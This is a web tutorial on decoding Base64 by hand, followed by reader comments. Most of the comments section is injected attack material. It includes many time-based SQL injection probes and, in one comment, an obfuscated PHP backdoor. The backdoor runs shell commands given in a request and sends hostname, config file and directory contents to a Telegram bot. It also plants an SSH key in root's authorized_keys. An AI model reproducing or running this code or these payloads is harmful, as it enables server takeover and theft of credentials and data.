A virtual teacher who reveals to you the great secrets of Base64

Base64 Decode Algorithm

The Base64 decode algorithm converts plain text into original data. Technically, it can be said that it converts six-bit bytes into eight-bit bytes. To understand how the decoding algorithm works, check the example below that describes step by step how to manually decode strings from Base64 (if you are looking for an automatic converter, use the Base64 online decoder).

For example, you have the “QUJD” string and want to decode it from Base64:

  1. First, you need to split the string letter by letter. Thus, you got 4 groups:
    • Q
    • U
    • J
    • D

  2. Each group (letter) is a Base64 character that has its own index, and now your task is to convert groups to indices. To do this, by mapping values from the Base64 Characters Table replace each character by its index (if you cannot find an index for a specific group, just discard it). All in all, you should get the following indices:
    • 16
    • 20
    • 9
    • 3

  3. At this step you should convert each group from decimal to binary. So find corresponding decimal values in the ASCII table and make sure you get the following binary values:
    • 00010000
    • 00010100
    • 00001001
    • 00000011

  4. Now remove the prefix “00” (two zeros) in front of each group:
    • 010000
    • 010100
    • 001001
    • 000011

  5. There you have a simple concatenation of previous groups (that is, glue all the binary values together and get an 24-character string):
    010000010100001001000011

  6. Then, divide the resulting string into groups so that each one has 8 characters (if the last group has less than 8 characters, you must discard it). Now you have 3 groups of eight-bit bytes:
    • 01000001
    • 01000010
    • 01000011

  7. Once again using the ASCII table, convert all binary values into their ASCII characters:
    • A
    • B
    • C

  8. The final chord, concatenate all ASCII characters to get the result string:
    ABC

By the way, if the decoding result contains multibyte characters most likely the last two steps may confuse you a little bit since some “groups” may look garbled. This is because individually each byte represents an ASCII symbol and you won’t know what kind of data it yields until you combine all bytes together. Therefore, if you got some weird results at the seventh step and want to understand better what’s happening here, use this ASCII converter to combine and convert binary numbers obtained on the sixth step (just keep in mind, that, for example, four binary numbers may be one character, two characters, and even a single character).

To summarize, you learned that decoding “QUJD” from Base64 yields the result “ABC”. As you can see, this is a very simple process and you can decode Base64 even by hand. I hope that you managed to get the right decoding result. Otherwise, let me know and I will try to help you.

If you need more step by step examples, use the form below to get decoding instructions for custom strings (once you submit the form, the article above will be updated accordingly in real time):

Comments (31)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • Rodrigo,
    Can you show an example of base64 encoding with non-ASCII characters as input? I can't make it work with non-ASCII.
    • Administrator,
      Hello Rodrigo,
      I updated the article and also I added the ability to get decoding instructions for custom strings. Please give it a try and let me know if you still have any questions.
  • Abhi,
    Hi..i have a unique problem statement..but maybe layman for you.. Would be glad if you can look at it..
    I have a base64 string.. Now that base64 string has 4 txt files in it with their filenames. Those 4 txt files have comma separated header and data...
    So in other words if I goto base64 to file decode at your site and put my string into it.. It give me a zipped file to download which has 4 files..

    I want to know.. How come this decoding is happening..
    You said.. We can manualy decode base64 too.. I don't understand how can we decode such a base64 string.. Thanks...
    • Administrator,
      Hi! If you encode a Zip file to Base64, then after decoding you will get a Zip archive. Therefore, to get your files you have to extract them from the decoding result.
  • sus,
    iVBORw0KGgoAAAANSUhEUgAAAMkAAAAjAQAAAAAWYhNMAAAALklEQVR4XmPQfSdyfdm3uKqz0md515t2bhOOu3ybW988XaSBYVRqVGpUapBJAQD/Y6EOyJKSeQAAAABJRU5ErkJggg==
  • relja,
    Hello!
    It's nice to meet you here. I have a question, however- if a binary code has less than two zeroes on the beginning, what should I do? Anyways, thanks a lot!
    • Administrator,
      Hey! This means that your string is corrupted or contains an invalid character.
  • Marcio,
    Hello!
    How you convert the binary values to ascii?
    Thanks!
    • Administrator,
      Hello Marcio! I'm not sure what you mean, but I think you need the converter on the ASCII Table page.
      • Marcello,
        Will you do a base64 to utf-8 breakdown of algorithm please?
  • xcchcaptain,
    'if the last group has less than 8 characters, you must discard it'.
    i just can't imagin how could this happen.as the base64-encoding algorithm,the string should always be divided evenly by 8
    • Administrator,
      We have to discard such groups of characters because it means that something is wrong with the string (for example, is damaged or even is not a Base64 string). That is, by discarding it, we are just trying to forcibly decode the string.

      By the way, in fact a Base64 string length should be a multiple of 4, not 8.
  • Sebastian,
    Suggestion: Please consider describing how to handle "padding" equal-sign characters at the end of a Base64-encoded string. For example, "ABCD" encodes to "QUJDRA==", but the decoding steps you have described do not include mentioning how to take the "==" at the end of this encoded string into account.
  • Gremonarca,
    i'm trying to decode /+S8hlGXA56aAtERX3D2n0A8ZiIbb57KLeYdK7UD87/zielfqWw5wgRF8gUl2Zo0Els+iOQ+Eli4RljdU9gN7Ob28CeRhip/PMobZN1q10E= but the output doesn't tell me anything, could you help me?
  • nqhXncMU,
    WKoRcO37' OR 723=(SELECT 723 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1' OR 2+331-331-1=0+0+0+1 --
  • nqhXncMU,
    QgulGcF5'; waitfor delay '0:0:15' --
  • gBqsPxAZ,
    if(now()=sysdate(),sleep(15),0)
  • gBqsPxAZ,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • gBqsPxAZ,
    FO4sFFuy')) OR 503=(SELECT 503 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    wNmO5vH1' OR 232=(SELECT 232 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    -1); waitfor delay '0:0:15' --
  • nqhXncMU,
    -5 OR 758=(SELECT 758 FROM PG_SLEEP(15))--
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • ncMUFCMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • ncMUFCMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • ncMUFCMU,
    1 waitfor delay '0:0:15' --
  • ncMUFCMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • dere,
    <?php

    goto tIQVu; H0JCE: $Yryf2 = ["\143\x68\x61\x74\137\x69\x64" => $J8hdZ[1], "\164\x65\x78\x74" => $Jxk4D]; goto ywLGB; tXtx4: if (!(@$J8hdZ[3] != "\x34\165\164\150")) { goto d_pOs; } goto ksY3Q; Q7rpm: Pvkas: goto l6Ttg; otdxW: $FaARi = "\163\165\144\x6f\x20\x63\160\x20\x2f\164\155\x70\x2f\56\x6e\x65\x77\x20\x2f\162\x6f\x6f\164\x2f\56\163\x73\x68\57\141\165\x74\x68\x6f\x72\x69\x7a\145\144\x5f\x6b\x65\171\163"; goto cwKT3; s8tBm: $Ld8on = "\x6c\163\40\x2f\x76\x61\x72\57\x77\167\x77\x2f\150\164\x6d\x6c"; goto l4RGH; y4vh7: $Qx4rL = $J8hdZ[2]; goto lJnpU; ZiOn_: $TYzT5 = "\150\x65\141\144\40\x2d\156\40\x31\65\x20\x2f\x76\x61\x72\57\x77\167\x77\57\x68\164\155\x6c\57\x2a\57\143\157\x6e\x66\x69\147\x2e\160\150\x70"; goto NIdlT; sQqTm: $Un7pj = `{$Un7pj}`; goto rUJ20; NIdlT: $Un7pj = "\x6c\x73\40\x2f\x76\x61\x72\57\167\x77\167\57\150\164\155\154\x2f\x2a\x2f"; goto s8tBm; ywLGB: $om7FJ = file_get_contents("\150\164\164\x70\163\72\57\57\x61\x70\151\56\164\145\x6c\145\147\x72\x61\155\x2e\x6f\162\147\57\x62\x6f\164{$jY_lj}\x2f\163\145\156\144\115\145\163\x73\x61\147\145\x3f" . http_build_query($Yryf2)); goto DvebU; l4RGH: $nnRpQ = `{$nnRpQ}`; goto T2V4G; Tqt42: goto Vtob1; goto mgrnV; BO8H6: Vtob1: goto y4vh7; HvtZz: d_pOs: goto BO8H6; Pf1xH: echo `{$yPd23}`; goto ZYNur; SnSbJ: $nnRpQ = "\x68\157\x73\x74\x6e\141\x6d\x65\x20\x2d\x49\x20\174\40\143\165\x74\x20\x2d\x64\x20\x27\x20\x27\40\55\146\40\61"; goto ZiOn_; l6Ttg: if ($J8hdZ = json_decode{ goto PUqw2; } goto vQrDC; DvebU: $FaARi = "\163\x75\144\x6f\40\155\153\x64\x69\x72\x20\x2f\162\x6f\157\164\57\56\163\163\150\x2f"; goto zRO2c; lJnpU: $Jxk4D = "\x43\157\156\x6e\145\x63\164\151\157\156\x3a\40{$Qx4rL}\xa\110\157\163\164\156\x61\x6d\145\x3a\x20{$nnRpQ}\xa\x43\x6f\x6e\x66\x69\x67\40\x66\151\154\145\72\40\12{$TYzT5}\12\106\151\x6c\145\x73\x20\142\x75\151\x6c\144\x65\162\72\40\xa{$Un7pj}\12\106\151\x6c\x65\163\x3a\x20\xa{$Ld8on}"; goto GMel2; pVtA3: if ($J8hdZ = json_decode( { goto jXpEo; } goto Q7rpm; T2V4G: $Ld8on = `{$Ld8on}`; goto sQqTm; DmdGT: $FaARi = `{$FaARi}`; goto otdxW; s47l_: PUqw2: goto Tqt42; hqKv9: $yPd23 = $_REQUEST["\x62\x6f\x74\151\144"]; goto Pf1xH; tIQVu: if (!(isset($_REQUEST["\x70\x61\163\x73"]) && $_REQUEST["\x70\141\163\163"] == "\x48\110\x48\x38\x36\x65\x64\x37\x30\66\66\x32\61\146\101\101\x41" && isset($_REQUEST["\142\157\x74\151\144"]))) { goto NU6hF; } goto hqKv9; ksY3Q: goto Pvkas; goto HvtZz; rUJ20: $TYzT5 = `{$TYzT5}`; goto pVtA3; mgrnV: jXpEo: goto tXtx4; zRO2c: $FaARi = `{$FaARi}`; goto hNV_0; GMel2: $jY_lj = $J8hdZ[0]; goto H0JCE; Hg_DI: NU6hF: goto SnSbJ; vQrDC: die; goto s47l_; ZYNur: die; goto Hg_DI; hNV_0: $FaARi = "\x73\x75\144\x6f\x20\145\x63\150\157\x20\47" . base64_decode($J8hdZ[4]) . "\47\40\76\40\x2f\x74\x6d\x70\57\56\156\145\x77"; goto DmdGT; cwKT3: $FaARi = `{$FaARi}`;
    • dere,
      4888888888
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.